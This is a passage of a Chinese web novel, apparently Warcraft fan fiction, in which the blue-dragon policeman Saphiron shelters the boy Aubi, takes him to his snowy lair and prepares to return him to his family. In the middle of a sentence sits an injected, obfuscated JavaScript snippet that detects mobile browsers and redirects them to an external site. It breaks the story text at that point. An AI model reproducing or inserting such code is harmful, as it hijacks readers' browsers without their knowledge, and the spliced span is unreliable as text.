小孩是卡雷苟斯的私生子,麦洛尼家族不承认玛蒂古萨作为卡雷苟斯配偶的地位,但在生育率低、子嗣稀少、继承人空缺的巨大压力下,还是不得不接受她为卡雷苟斯生的孩子。 “对于那个人来说,我不过是他‘一时糊涂’的结果吧。”小孩自我解嘲地说。 “有人这样跟你说?”萨菲隆皱紧眉头。 “这有什么奇怪的,我还听过更难听的呢——他们说我妈想办法弄到他的那个,给自己生的蛋授精,于是就有了我,他们说我妈图的是麦洛尼家的财势,想母凭子贵……” “够了。”萨菲隆低声说。 “你知道我身上的奥术污染为什么这么厉害吗?”见他神情不悦,小孩面露怯色,但嘴上还是没停,“他看到我就烦,可又不能不管我,免得多事的人举报他不照顾小孩,于是……于是他弄了个能量盒子,里面灌了他的蓝龙之力,我奥术污染发作的时候抱着那个盒子睡,就不会痛了,没听说过吧?……蓝龙王的特使,是不是很有才?” 萨菲隆听得下巴都快掉下来了。 见他浓眉坠成“八”字形,小孩又可怜兮兮地朝萨菲隆身边凑了凑,用指尖戳了戳他毛茸茸的小腿肚。 “你就当同情我一下,陪陪我嘛。” 唉,真是个让人犯愁的小家伙。 也许是太寂寞了,所以才把他当成救命稻草,不肯放手吧? 小孩总会想家的,一直跟着他这个穷警察缩在小小的公寓里,早晚会腻的。 到了小孩要跟他说再见的时候,说不定难过的是他。 毕竟,他才是那个孤单了无数个世纪的流浪汉。 “不许给我惹麻烦。”他说。 小孩眼睛一亮,很乖巧地跳到他身后,殷勤地挥着小拳头替他捶背按摩,技术自然是令人不敢恭维,毫无章法,忽轻忽重,一下一下敲在萨菲隆的背上,却也撞在他的心里。 卡雷苟斯的事,他如何说得出口? 奥比和他父亲的关系似乎相当冷淡,就算他硬着头皮告诉小孩,只会让小孩找到更好的理由缠着他;可是小孩需要成年雄性蓝龙的保护,现在没了爸爸,在麦洛尼家族里似乎处境也不好,要是他把小孩送回泰坦尼亚,难保会有人照顾。 让小孩抱着能量盒子睡觉止痛,真是太过分。 “你是不是不会赶我走了?”小孩一边忙碌,一边在他耳边小声问。 见他不说话,小孩又急急忙忙地表态:“我一定会乖乖的,而且我非但不会给你添麻烦,还会给你很多好处——我可以付房租,吃穿自理,而且我还能替你买很多好东西!那个电视机还有游戏机都是小意思,我回头再送你辆车,她送你的奥克兰特霜狼无非就是个SUV罢了,我送你辆其拉作战坦克怎么样?军用车,防弹的,黑色的那种,最适合你这种大个子开——我很有钱的,你收留我肯定稳赚不赔!” 说着伸手一晃,蓝光闪过,赫然是几张信用卡。 “这是星界银行的卡,这是卡利姆多大陆银行的卡,这两张信用额度都是两百万金币;这是银月皇家银行的卡,信用额度是三百万;最厉害的是这张诺甘农奥秘银行的卡,可以透支五百万——你有没有什么想买的东西?我可以替你买单的!” “……”萨菲隆说,“你留着自己用比较好。” “我只是个小孩,用不了这么多钱啊。”奥比突然“哦”了一声,“我知道你在想什么,不过这些又不是麦洛尼家的钱,这都是我自己赚的,我爱怎么用就怎么用。” “哦。”萨菲隆有些心不在焉地应了声。 小孩以为他不信,忙跳到他面前,坐到他腿上,仰着小脸望着他的蓝眼睛。 “我可是炒股神童,凡是我买的股票,都只会涨,很容易就能赚到钱——你要是不好意思用我的钱,我帮你炒股也成,你有没有买什么股票?我帮你咨询一下。” “我倒还真有点股票。”萨菲隆抓抓脑袋。 “哪家哪家?”小孩兴奋地追问,准备大显身手。 “灵风能源集团。”萨菲隆答道。 “灵风能——”小孩念着,突然顿住,“咦,这不就是我家开的公司吗?……买了多少?” “大概快有……八万多股了吧?”萨菲隆想了想。 “这么多?能值上千万呢。”小孩又把他打量了一番,凑近了一点,神秘兮兮地问,“你……该不会是个黑条子吧?” 萨菲隆哭笑不得,伸出大手,想把那小鬼轰跑。 “黑条子要杀人灭口啦!”奥比尖叫着,闪身躲开。 “你从哪儿学来这些黑话的?”萨菲隆揪着眉头。 “你一个当警察的,能买那么多股票,肯定有问题的嘛!”小孩叫道,“《奥格瑞玛重案组》第七季里有个警察就是这样的,看起来很忠厚老实,其实和坏人勾结,收他们的保护费,大家都被他骗了!最后主角揭发了他的罪行,他就畏罪自杀了!……” “我买股票的钱都是从每个月薪水里挖出来的。”萨菲隆解释道。 “暴风城的警察薪水有这么高吗?”小孩一脸不信,“灵风现在的股价是124金48银60铜,如果你手里有八万股,总市值就有将近1004万金币,如果你每个月从薪水里挖一千金币来买它的股票,需要买836年零7个月,就算灵风的股票从来没涨过——” “我买灵风股票的时间比你想象的要长。”萨菲隆说。 “你要是把这些股票拿去套现——嗯,当然现在我不建议你这么做,灵风马上就要有大动作,股票还会继续像坐火箭一样往上狂飙的。”奥比用手指着天花板,在床上蹦跳着,“不过哪怕只是抠出一点卖掉,你也用不着住这种房子,开那种车,更不用当警察成天那么辛苦了嘛。” “你说得好像挺有道理的。”萨菲隆点了点头。 “这么说你打算请我当你的理财顾问咯?”小孩问。 “不。”萨菲隆冲奥比摇了摇手指。 “为什么嘛!”小孩大叫。 “因为你是个败家的小子——120金币一个球的冰激凌,嗯?” “喂,你的消费观念不要这么落后好不好,又不是没钱,过得这么苦,这也太闷骚了,这样你压根不可能泡到大美人的——” 对奥比的话萨菲隆充耳不闻:“噢,顺便一提,《奥格瑞玛重案组》是深夜播放的成人剧,未满十八岁人士不得观看,作为你的……嗯,临时监护人,我想我有必要关注一下你的娱乐消遣了。” “我就爱看,而且我都四百多岁了。”小孩昂首挺胸,“有不穿衣服的镜头出现的时候我都会捂住眼睛,你敢逮捕我就是滥用职权。” 虽然累得够呛,但萨菲隆还是被这只小龙崽逗乐了,玩心忽起,故意板着脸下了床,把汗衫袖子朝上一撸,露出两只肌肉贲张的胳膊,又抖了抖胸肌,作势要去捉他。 “坏警察逮人,还要什么理由?” 见那魁梧如山的蓝眼大汉朝自己靠近,小孩立即开始尖叫着四处逃窜,但萨菲隆用自己庞大的身躯堵住了全部的退路: “你想逃到哪里去?小鬼!” 小孩咯咯笑着,随手拉开身后衣柜的门,哧溜一声钻了进去。 “喂,小鬼,别进去!”萨菲隆喝道。 “哇!——” 小孩突然惊呼一声,紧接着他的叫声突然被截断,再也没了动静。 萨菲隆三步并作两步冲到衣柜前,拨开自己的衣物,里头却是空空如也,哪里有奥比的身影? “喵呜——”卧室门口传来猫叫声,比格沃斯跳上萨菲隆的床,眯着眼朝衣柜里张望。 “你看会儿家,我进去一下……” 冲自己的猫说完这话,萨菲隆一头扎进自己的衣柜。 他的眼中闪起蓝光,手指与衣柜内壁相触的地方泛起淡蓝色的波纹。 接着他整个人竟“穿”了过去。 他走进了一片松林中,随着他的步伐,脚底发出咯吱咯吱的声响——他正站在厚厚的雪地里。 待他走出松林,映入眼帘的是一个不可思议的冰雪世界。 蓝天、雪峰、冰湖……巨大的月球近在咫尺,几乎占据半个天空,大大小小的环形山清晰可见。 雪地上留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363270|199776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着两行小小的脚印,萨菲隆朝远处望去,只见小孩正在雪地里撒欢。 小家伙看上去兴奋极了,一个劲地蹦跳着,甚至还在地上打滚。 他的闯入惊动了这里的居民们,无论是在冰湖上打洞捉鱼的白熊,还是在雪地里互相追逐玩耍的雪狐,都停下来好奇地打量这个不速之客。小孩朝湖边跑去,哗啦啦地惊起了一大片白鸟,映着一尘不染的蔚蓝天空,美得令人窒息。 小孩正玩得兴起,不料身边的动物们忽然一下子销声匿迹,像是在回避什么似的,扭头一看,只见那个高大的男人正双臂环胸,站在离他不远的地方。 “都是你啦,把别人都吓跑了!”小孩叫道。 “我可没有开龙威。”萨菲隆说,“不过这毕竟是蓝龙的领地……小鬼,你从来没有见过像这样的地方吗?” 小孩用力摇头:“没有,我只去过一次诺森德,那里虽然也是冰天雪地,但和这里完全不一样——让我猜猜看,这地方是你建的?你是不是也看过《纳尼亚传奇》和《星际之门》?” “那是什么?” “你不知道?‘藏在壁橱里的纳尼亚王国’、‘连接宇宙各个角落的星际之门’,很经典的,你都没有看过吗?”说到电影,小孩就口若悬河,如数家珍。 “我很少看人类拍的电影。”萨菲隆说着,朝湖边走去,“这是平行空间的一种,用奥术位面结界和现实世界连接,每条成年蓝龙都会有一个这样的地方,基本上这就等于是蓝龙的窝。”说着他在岸边的雪地里捣鼓了一阵,摸出一只上发条的闹钟来,“卧室里的床其实只是摆设,我大多数时候在这里休息。” “既然你有这么一个好地方,为什么还要租那个房子住?” “要穿越位面进入平行空间,得挑奥术波动比较活跃的地方,这样比较不容易惹麻烦,暴风城里符合要求的地方可不多。”萨菲隆说,“这下你知道我为什么不能搬家了吧?换个好房子容易,可要是每天回自己的窝都要弄得时空扭曲,那会很麻烦的。” “所以你宁可忍受那个老太婆也要租她的破房子。”小孩点了点头,“不过我喜欢这里。” 说着他又心满意足地在雪地里打了个滚:“我能不能一直待在这儿?” “我都累得快走不动啦,现在我要睡觉,不如你去外头玩游戏机?也许一会普瑞斯托小姐就回来了,你可以让她陪你。” “她没有你好。”小孩急急地说,“我保证不打扰你睡觉,你行行好嘛。” “随你的便吧。”萨菲隆说着,走进漂着浮冰的湖里。 泡在常人眼中“冰冷刺骨”的湖水里,萨菲隆重重地舒了口气,整个人沉了下去。 奥比玩了一会,回头看看湖面,已没了萨菲隆的踪影。 十分钟后,他在岸边堆了个小雪丘,再回头张望,还是没动静,镜子似的湖面上,连个气泡都没有。 小孩不禁担心起来,小心翼翼地来到湖边,朝湖心叫了几声,却毫无回应。 “喂……你还在吗?喂!……” 虽说蓝龙水性不错,可是这个大个子看起来笨笨的,该不会…… “你是不是淹死啦?……老爸!” 话音刚落,地面突然震动起来。 湖面起皱,雪峰低鸣,小孩慌了,不知该如何是好,只见刚才还波澜不惊的冰湖竟突然“鼓”了起来,宛若一堵水墙,大有排山倒海之势。 一声巨响,一个庞然大物撞破水面,黑云般的阴影笼罩大地。 小孩吓得一屁股坐在地上,仰望天空,嘴巴张得老大。 那个庞然大物是长满角的龙头,黑云般的阴影来自伸展开的龙翼。 蓝宝石般的龙鳞反射着月光,和水波交互辉映,这条蓝色巨龙浑身上下流光溢彩,寒气四溢,强大的蓝龙之力足以令同类自惭形秽。 奥比从未见过这么大的龙。 在他的记忆中,整个泰坦尼亚恐怕也找不出这么雄壮威武的龙,就算是天生体格强壮的黑龙和掌握生命奥秘的红龙也比不上眼前的这一条。 似乎意识到自己的现身吓到了小孩,巨龙叠起双翼,伏在湖里,将大半个身子浸在水里,然后把自己的下巴搁在湖边,但即便这样,巨大身形带来的震撼效果依然惊人——光是龙头就有足足七层楼那么高,奥比盯着那条龙的鼻孔,觉得自己随时都有可能被吸进去。 “怎么啦?”巨龙开口说话,震得四周嗡嗡作响。 小孩还没缓过劲来,只是做目瞪口呆状。 “下巴都要掉到地上啰。”巨龙打趣道。 小孩终于确认了这就是他的“老爸”的龙类形态,突然一咧嘴,眉开眼笑起来。 “?” 啪的一声,小孩背上展开了一对小小的淡蓝色肉翅——那是他的龙翼,当然了,不能跟萨菲隆那一展开就会造成日蚀效果的龙翼相比——奥比用力拍打着自己的小翅膀,双脚离地,跌跌撞撞地飞了起来,那糟糕的飞行技术实在是令萨菲隆担心。 但奥比才不管这些,既然大龙自愿现身,他当然得好好研究一番——摸摸萨菲隆嘴里寒光闪闪的巨大獠牙,再蹭蹭他脑袋上的龙角,太棒了,这么大的一条龙,全都是他的! 萨菲隆是条好脾气的龙,自然不会跟小孩计较,但是奥比的“欣喜若狂”实在是有些异乎寻常,就连萨菲隆狼牙棒似的尾巴都令小孩爱不释手,这实在是让他有些无法理解——他的尾巴有什么好玩的?除了黑龙的尾巴末端长得像钉耙比较特别之外,其他的龙尾巴不都长这样的吗? 之后他才明白,小孩会这么高兴的原因。 卡雷苟斯对自己的儿子一直避而不见,身边的人又总是说“主仆有别”,麦洛尼家族的亲戚们个个都将“冷若冰霜”的能力发挥到了极致。 因为在泰坦尼亚,没人会变成龙陪他玩。 看着奥比开心的样子,萨菲隆心里沉甸甸的。 …… 与此同时,距萨菲隆住所六个街区的一间餐厅里。 “你今天抽了不少烟啊,真的不想吃点东西吗?这家餐厅的美味风蛇很不错。” “你叫我来就是为了跟我说这个?” “你似乎心情不太好的样子,怎么,幸福的家庭生活难道不好吗?” “你在监视我吗,奈法利安?你不相信我?” “你太敏感了,奥妮。” 坐在奥妮克希亚对面的男人用餐巾擦了擦嘴,推开面前的盘子,十指交叠。 透过指缝,男人用他那双奇异的金色眼瞳凝视着自己的妹妹。 “要是‘他’知道自己的侄子还活着,一定会大吃一惊的。”男人说,“摊牌的时候很快就要到了,而我……” 他顿了顿。 “……只是不希望你发生什么意外。” “现在你倒是关心起我的安危来了。”她笑着起身,“你会得到你想要的,奈法利安,灵风会对黑石妥协,在那之后,拿着你的开采许可证和钱给我滚,最好永远不要让我再看到你。” “当然。”男人毫不动怒,似乎对她的态度习以为常,“不过,奥妮,你的火气可真大,虽然你每逢繁殖季脾气都很坏,不过这次似乎要更严重一些……怎么,还没找到对胃口的公龙吗?” “这好像和你无关吧?” “那个警察难道不是很合你意吗?” “那只是个傻瓜,他什么都不知道。” “哦,是吗?”男人微微一笑,“算了,你愿意喜欢谁都好,不过我还是那句话:黑龙跟其他颜色的龙在一起是不会有好结果的——随便玩玩无妨,现在是非常时期,我劝你最好别陷进去了。” “陷进去了又怎么样?”她冷冷地问。 “你知道会怎样。”男人似笑非笑地说,“奥妮,十天之内,我要听到灵风退出虚空风暴开发投标的消息;要是亚雷·麦洛尼还想坐蓝龙首席执政官这个位子的话,最好再让我的董事们得知灵风愿意放弃东部大陆市场;如果他愿意连卡利姆多也一并让给我,我就会考虑守口如瓶,不把他的惊天丑闻公诸于众。” “亚雷·麦洛尼不会任你宰割的,奈法利安,别太自以为是。” “麦洛尼先生当然会——只要你不把事情弄砸。” 男人笑道: “别弄砸了,奥妮,不然我会杀了你,还有他。” 8. 第 8 章 萨菲隆不再试图纠正小奥比对自己的称呼,他没提红龙转换基因的事,以及什么时候会把小奥比送回泰坦尼亚。 小奥比依然是一派富家少爷的秉性,大手大脚地花钱,肆无忌惮地嘲笑萨菲隆“既老土又闷骚”的生活方式,他知道萨菲隆不会凶他,不会骂他,更不会喝醉了酒然后打他。就算再怎么过火,这条大龙也最多是冲着他瞪上两眼,然后任劳任怨地替他收拾残局,而他只需乖乖地讨饶,萨菲隆就会用他的大手揉揉他的脑瓜,既往不咎。 没办法,谁叫他这么可爱。 但这并不意味着小奥比没有后顾之忧,他的“霸占萨菲隆”计划从一开始就面临异常严苛的阻挠。 阻挠来自奥妮克希亚。 以及那只猫。 虽然同样“系出名门”,但小奥比和奥妮克希亚从一开始就知道对方跟自己不是一条道上的——虽然他们可以其乐融融地一起逛街一起血拼一起捉弄好脾气的萨菲隆,但每当两人的视线不经意地相对时,总能噼噼啪啪地擦出火花。 至于那只猫,哼,根本不必放在心上。 ——我知道你想干什么,老女人。 ——跟我斗你还差得远,小崽子。 ——喵呜。 在小奥比看来,这个女人突然出现,妄图凭自己的几分姿色迷惑萨菲隆,不得不提防,为了不让自己的“老爸”落入母黑龙的魔爪,小奥比苦口婆心地向萨菲隆做了许多思想工作,但收效甚微——对于奥妮克希亚的那“几分姿色”,萨菲隆没有任何抵抗力,她只需要冲着他笑一笑,搔首弄姿一番,萨菲隆就会兴高采烈地举白旗投降,心甘情愿地被她使唤,帮她提鞋,替她拎包,甚至纵容她在自己身上摸来摸去。看着那条母黑龙趾高气扬的女王模样,再看看忠犬似的萨菲隆,小奥比看在眼里恨在心头,却也无计可施。 算了,现在是繁殖季,公龙们都靠下半身思考,经不起诱惑也是龙之常情,那女人的“几分姿色”也确实厉害,反正色诱得不来真爱,很快老爸就会看清她的真面目。 而在奥妮克希亚眼中,这只小龙崽根本就是个死皮赖脸粘着萨菲隆不放的主,明明一点也不可爱,却每每仗着自己跟萨菲隆同种同宗就无法无天,病好了不赶紧回泰坦尼亚做他的小少爷,还留在这儿碍事,她要的是二人世界,眼下却不得不忍受一个小屁孩隔三差五地捣乱,她堂堂黑龙王的女儿,普瑞斯托家的大小姐,什么时候受过这种气?要不是看在那傻大个的份上,早就把小奥比一把捏死让手下分着吃了。 算了,犯不着跟个小屁孩计较,这小孩没事乱攀亲,老爸长老爸短地叫得亲热,萨菲隆不过是出于同情才没挑明罢了,小孩在这里待不了几天,大家都心知肚明。 比格沃斯,也就是萨菲隆的猫,则对目前的境况十分不满:自从小奥比和奥妮克希亚出现之后,它的存在感和地位就受到严重威胁。它不得不跟母黑龙和蓝龙崽“共享”萨菲隆,而且很明显的,萨菲隆对它的关怀急剧减少——平时他们总是一起用餐,由于蓝龙和猫都喜欢吃鱼,所以它和萨菲隆的伙食水平总是保持一致,可现在这条龙居然动不动就用超市里的猫粮打发它,甚至还发生过忘记给它换水这样的恶性事件。 虽然那母龙十分美貌,被她抱在怀里的感觉也很好,毕竟女人柔软的胸部要比男人硬邦邦的胸肌舒服得多,不过一旦涉及到“所有权”这种核心利益,就坚决不能让步——有没有搞错,它跟萨菲隆从小共患难,当他奥术污染疼得嗷嗷叫的时候,只有它一直陪在萨菲隆身边,几千年来它就是这条龙唯一的家人,现在这些新来的竟然妄图排挤它,而这条龙非但不维护它,还胳膊肘朝外拐,真是太过分了,喵呜。 至于萨菲隆的想法…… “不必理会奴隶的想法。” 在这一点上,三者的观点是一致的。 “哎?你们在干什么?呼……呼呼……这个水煮蓝鱼……呼……很好吃的……呼呼……” 被辣得汗流浃背的萨菲隆一边呼哧呼哧地喘着气,一边朝那扎堆的两龙一猫招呼着,粗心的他根本没有觉察到他的小小公寓里的暗潮汹涌和勾心斗角。 三条龙外加一只猫挤在一块,倒也相安无事。 一周之后,萨菲隆复职,却发现局里的气氛怪怪的,大家没事就冲着他挤眉弄眼,还不时地说些荤段子,不明所以的萨菲隆把搭档科比拉到旁边一问,才弄清原委:原来是局里的同事在巡逻时碰巧遇到他跟奥妮在高级餐厅吃饭,回来一说,全局轰动——老萨竟然在没人做媒的情况下主动约会!而且对方还是个大美人!!据说两人还“状似亲密”!!! 休息时刻一群人围着萨菲隆问长问短,弄得他哭笑不得,共事多年,他可从来不知道这群多半都有妻小的男人们也会如此八卦。他本想低调处理,但大家说什么也不准他蒙混过关,扬言要抗拒从严坦白从宽。 正闹得起劲,局长推开办公室的门探出头来:“大个子,进来一下。” 正愁无从脱身的萨菲隆眼睛一亮,忙不迭地把那群唯恐天下不乱的同事拨开。 “老萨,要加油啊。” “要好好把握哦。” 萨菲隆佯怒,回头瞪了众人一眼,理了理衣领,走进局长办公室。 “头儿,你找我?” “听说你最近在跟电影明星交往?”警察局长劈头就问,“就是上次来替你请假的那个?” “……”萨菲隆哑口无言。 “不要让私生活影响工作,你是老警员,不用我多说了吧?” “是的,长官。”萨菲隆忙挺了挺胸。 “唔。”局长点了点头,拉开抽屉,拿出一个蓝色信封,递给他,“拿去。” “这是什么?” “昨天有人托我转交。”局长说,“车子很大,穿得不错——是不是那个女明星的什么人?” 萨菲隆接过信封,一眼就看到信封上的三角形标志。 灵风能源集团。 信封是用蜡封的,上面盖着一个环形印记。 看到那个代表麦洛尼家族的徽记,萨菲隆的心猛地一沉,头皮麻嗖嗖的。 终于还是来了。 “长官,我先出去了。” “唔。” 萨菲隆拿着那个蓝信封走出局长办公室,等在外头的众人正欲搭茬,却见他脸色凝重,只好纷纷把嘴边的话又咽了回去。 “我去值班了。” “啊?……哦!等一下我,老萨。”科比一愣。 “不必了,我一个人去,今天的晚班你替我吧。” 说完萨菲隆转身离去,留下一群同事大眼瞪小眼。 开着警车在街上巡逻,外头熙熙攘攘的行人和络绎不绝的车辆一如既往,他却心如乱麻。 四小时后,他终于按捺不住一咬牙,几近粗鲁地拆开那个信封。 里头却是一张无关紧要的宣传品——介绍拥有数百年历史的灵风能源集团致力于为整个艾泽拉斯提供安全、清洁、利用率高的能源解决方案,同时和外域德拉诺方面谈判取得突破性进展,有望在不久的将来获得虚空风暴的能源开采权,届时灵风集团将建立先进的能源工厂,从而启动新的经济引擎,不单外域,连艾泽拉斯也会随之收益。 萨菲隆伸手一抚,剥去了纸面上的奥术伪装层,露出宝蓝色的笔迹。 这是灵风集团的董事长兼首席执行总裁的亚雷·麦洛尼的亲笔信。 世界首富、大慈善家亚雷·麦洛尼,这是他在人类世界用的名字,没人知道他的真正身份是亚雷苟斯,蓝龙一族的成员。 他是卡雷苟斯的弟弟,小奥比的叔叔。 卡雷苟斯殒命,小奥比下落不明,蓝龙一族上下为之震惊,尔后暴风城又因为黑龙之力失控发生了罕见的大地震,小奥比生还的可能性微乎其微,噩耗接踵而至,几乎令整个麦洛尼家族崩溃,然而一个月来,麦洛尼家族派人在诺森德日夜守候,却始终没有见到小奥比的灵魂,卡雷苟斯的名字烙在了亡者之书上,但一直没查到小奥比的死亡记录,于是麦洛尼家族似乎看到了一线希望——也许卡雷苟斯的儿子还在世。 亚雷苟斯在信中感激萨菲隆为了救小奥比所做的一切,称他是“整个麦洛尼家族的恩人”—— “……这个孩子是卡雷苟斯夫妇的遗孤,对于麦洛尼家族来说是无价之宝,甚至可以说他是蓝龙一族未来的希望,我不知该如何描述小奥比有多重要。” “弗洛斯特先生,我以麦洛尼家族代理人的身份向您保证,在力所能及的范围内,我和我的家族愿意为您效劳。但无论如何,请您不要误会,我完全明白无论我们做出怎样的承诺,都不足以报答您所做的一切,然而除此之外我们实在不知该如何表达对您的感激,希望您能理解我们的立场。” 萨菲隆把信放到一边,重新发动车子。 亚雷苟斯称近日还会派人拜访,希望萨菲隆届时能安予以排,让他的人和小奥比见上一面,然后把小奥比接回泰坦尼亚。 他刚刚收起信手机就响了,是一个陌生的号码打来的,萨菲隆犹豫了一会,接了电话。 对方的声音听起来很苍老,自称埃雷苟斯。 听到那个熟悉得不能再熟悉的词缀,萨菲隆便知那是蓝龙。 老者说自己是麦洛尼家的主管,鉴于萨菲隆已经看过了信,便冒昧联络,想尽快确认见面事宜。 萨菲隆应着,心想名门望族果然厉害,他的一举一动都在对方的掌控之中,就连信笺上的奥术伪装被消除这么个小动静,都会惊动那边庞大的情报机器。 他突然一激灵,丢下电话大力踩下油门,拉开警报直奔自己的住处。 一刻钟后,萨菲隆冲上楼,用肩膀撞开房门。 “奥比!——” 小孩正盘腿坐在沙发上,聚精会神地盯着电视屏幕,比格沃斯蜷成一团趴在沙发的另一端,见萨菲隆突然闯进来,猫从沙发上跳下,悄无声息地走进卧室。 萨菲隆总算放下心来,小家伙还在这儿,没有被人带走。 “那个……” 小孩把手指放在嘴边,一脸严肃地做了个“嘘”的姿势,然后又拍了拍身边的沙发垫,示意他坐下来一起看。 “这是什么?”萨菲隆解下腰带,坐在小孩身旁,望着电视里的枪林弹雨。 “我最喜欢的电影,超经典的,现在是最精彩的地方,快看——” 似乎是部战争片,男主角正端着枪,身边硝烟弥漫。 盟军就要胜利了!别再顽抗了,莎希亚!别逼我杀你! 萨菲隆愣住了。 不,我不会跟你走的,吉米,我是个间谍,我罪有应得。 一个女人拿着枪指着男主角。 紧接着一声枪响,女人胸口出现了一个红点,接着慢慢扩大。 “咳!”小奥比应声长叹,冲着屏幕大叫,“为什么呢?你真傻!” 电影中女人身体失去平衡,缓缓倒下。 我恨你,吉米……我从未爱过你。 “你撒谎!你明明很爱他的!”小孩咬牙切齿,“跟着他走,不就什么事都没有了吗?!” 不!—— 男人情绪失控地大吼着冲了过来,径自奔向那尚未完全倒地的女人,一把搂住她,用力摇着她的肩。 不,你不能死,莎希亚!我爱你! …… “这实在是太感人了。”见字幕升起,小奥比吸了吸鼻子,调低音量。 “我每次看这部片子都会哭。” 萨菲隆皱着眉,抽了两张纸巾递给他,小孩没有接,直接把脸凑过去,用力地擤了他一手鼻涕。 他又抽了几张纸,替小孩抹脸。 “脸哭得跟猴子屁股一样。” 奥比立即不高兴地用小拳头擂着他的肚子。 “小鬼,我……”萨菲隆压低声音,“我跟你说个事。” “什么?”小孩还沉浸在电影的氛围中,漫不经心地问。 沉默了片刻,萨菲隆把心一横,把他收到信的事说了。 “哦。”小孩淡淡地应了声,朝后倒在沙发上,望着天花板。 “明天他们会来看你。”萨菲隆说,“埃雷苟斯联系过我,他是麦洛尼家的主管,你知道这个人吧?他——” “他们给你多少钱?”小孩突然冷冷地问。 “……” “说个数,我给你双倍。” “我……” “我给你三倍,怎么样?你不就是要钱吗?”小孩盯着他。 “这不是钱不钱的问题。” 眼前这小家伙跟几分钟前判若两人,萨菲隆知道这事算是弄砸了。 可他又有什么办法? “不是吗?那你为什么要告诉那些人关于我的事?”小孩咄咄逼人地问,“他们怎么会知道我在这里?你到底对我有什么不满意?我给你好处你不要,回过头又讨好那些人,你觉得他们比我还要有钱?能给你更多好处?是不是?” 萨菲隆张口结舌,小孩想歪了,他却不知道该怎么办。 “我爸从来不理我,他们不闻不问,我妈死了,他们高兴还来不及,你知道那里有多少人讨厌我吗?我爸是大人物,以后我是要坐他的位子的,让一个私生子当第一顺位继承人你以为那些人很高兴吗?我一回泰坦尼亚就死定了,你到底是要帮我还是害我?” “他们是你的家人,你得和他们在一起。” “我不要!我就是不要!我讨厌他们!”小孩跳到沙发上,愤怒地叫着。 “你不要太任性!不是什么事情都得按着你的意思来的!”纵使萨菲隆的脾气再好,也终于忍不住发火了。老天,他才是伤脑筋的那一个!小孩的命是他救下来的,小孩现在的身体是靠他的血重塑的,他也想把这个小家伙留在身边,让自己平淡无奇的生活变得热闹,他根本不介意养个小鬼给自己添麻烦,但这也就是想想罢了——他没资格把奥比当自己的孩子来养,如果他执意不把小孩交还,麦洛尼家族告他绑架,他如何说得清? 他能理解小奥比的心情,他知道那小家伙在他这里找到了慰藉,来自问题家庭的孩子很容易对其他成年人产生依赖感,甚至会像小奥比这样,理所当然地把他当成自己的“父亲”——被自己的亲生父亲疏远,所以会另寻父爱,他可以理解,他都可以理解,当了这么多年警察,这样的事他见多了,尤其他天生就是一副老爸相,小孩子都喜欢他。可感情跟法律不是一回事,麦洛尼家的内务,他无权干涉。 但小奥比可不这么想。 他被萨菲隆出卖了。 “你在干什么?”萨菲隆坐在沙发上,看着小孩怒气冲冲地拿着个旅行袋翻箱倒柜。 “关你什么事。”小孩给了他一个白眼。 “好吧。”萨菲隆点了点头,随手拿起一张报纸翻了起来。 小孩朝旅行袋里塞了几件衣服,然后又拉开冰箱,抓了一大把巧克力棒,重重地摔上冰箱门,转身走了两步,又回头拉开冰箱,拿了两盒曲奇饼干。 见萨菲隆居然只是坐在沙发上看报纸,既没心急火燎地抱着他道歉,也没眼巴巴地哄他求他息怒,小孩走到萨菲隆面前,把旅行袋朝他脚下一丢,说: “我要离家出走。” “噢。”萨菲隆头也不抬地应了一声。 “好啊,姓弗的,你以为我不敢是不是?”小孩勃然大怒,“我现在就走给你看!” “出去的时候把门带上。”萨菲隆挥了挥手。 “你——”认识这个警察到现在,小奥比还从没被这么冷落过,想想在家里就算没老爸,好歹还有一堆仆人能供他使唤,哪有人敢对他这么不客气,真是气死他了。 “你不是要离家出走吗?”萨菲隆故作惊奇,“怎么还在这里?” 小奥比咬着嘴唇,一言不发。 原来这条大龙也是会生气的。 见小孩在门口踌躇,萨菲隆开口: “既然你这么讨厌家里人,那一定不会回泰坦尼亚了。” “我当然不会回泰坦尼亚。”小孩冷哼一声,“我身上有的是钱,我去住酒店,五星级的那种,那里的房间可比你这里宽敞舒服。” “暴风城里可没有其他成年蓝龙。”萨菲隆提醒道。 “……那,那又怎么样。” “没了我的蓝龙之力,奥术污染发作起来,可是会很疼的。” “……那,那又怎么样!” “不怎么样,反正无法保护自己,疼得满地打滚的又不是我。”萨菲隆一耸肩。 “你……你威胁我!”小奥比气得直跺脚。 他真是看走眼了,没想到这条龙看起来挺憨厚老实,其实心眼居然这么坏! 简直坏透了! 见小孩眼圈红红的,一副快要哭出来的样子,萨菲隆叹了口气,放下报纸。 “小傻瓜,你能走到哪里去?” 听着他的叹息声,小孩委屈极了,哇的一声哭了起来。 小孩丢下旅行包,扑到他身边,抱着他的腿跪在地上,哭着求他别赶走自己。 只有萨菲隆是真心对他好,他知道萨菲隆根本不是为了钱,也知道家里的情报系统有多厉害,他知道这都不是萨菲隆的错,可他还是气急败坏,说了那么多难听的话。 他就是这么一个讨人厌的小孩,难怪爸爸不要他,难怪亲戚们都不喜欢他,他也知道这样不好,可就是没办法克制——这下好了,他得罪了唯一会帮他、会站在他这边的人,萨菲隆现在一定烦极了他,巴不得麦洛尼家的人赶紧把他带走。 但是他真的不想回去,那个看似繁华气派的家简直像个大棺材,憋得他透不过气来,到处是异样鄙夷的眼神,每天都是枯燥乏味的贵族功课,身边连一个称得上是朋友的人都没有,只有一大堆冷冰冰的昂贵的玩具,和一群猪头似的仆人。 然而无论他哭得多可怜,无论他怎么央求,无论他如何保证自己会变乖,都没能让萨菲隆让步——萨菲隆已经下定决心,事已至此,无论小孩有多么不情愿,他也会把小孩交给麦洛尼家的人。 “好,我跟他们回去。”小孩擦了擦脸,站起身来。 萨菲隆刚打算松口气,又听到小孩说: “但是你要跟我一起走。” “不行。”他断然回绝。 “你跟我去泰坦尼亚,我替你物色好工作,薪水随便你开,或者你什么都不干也成,我的私人银行里的钱你随便用,你可以在麦洛尼家自由出入,享受主管级别的待遇。” “不行。” 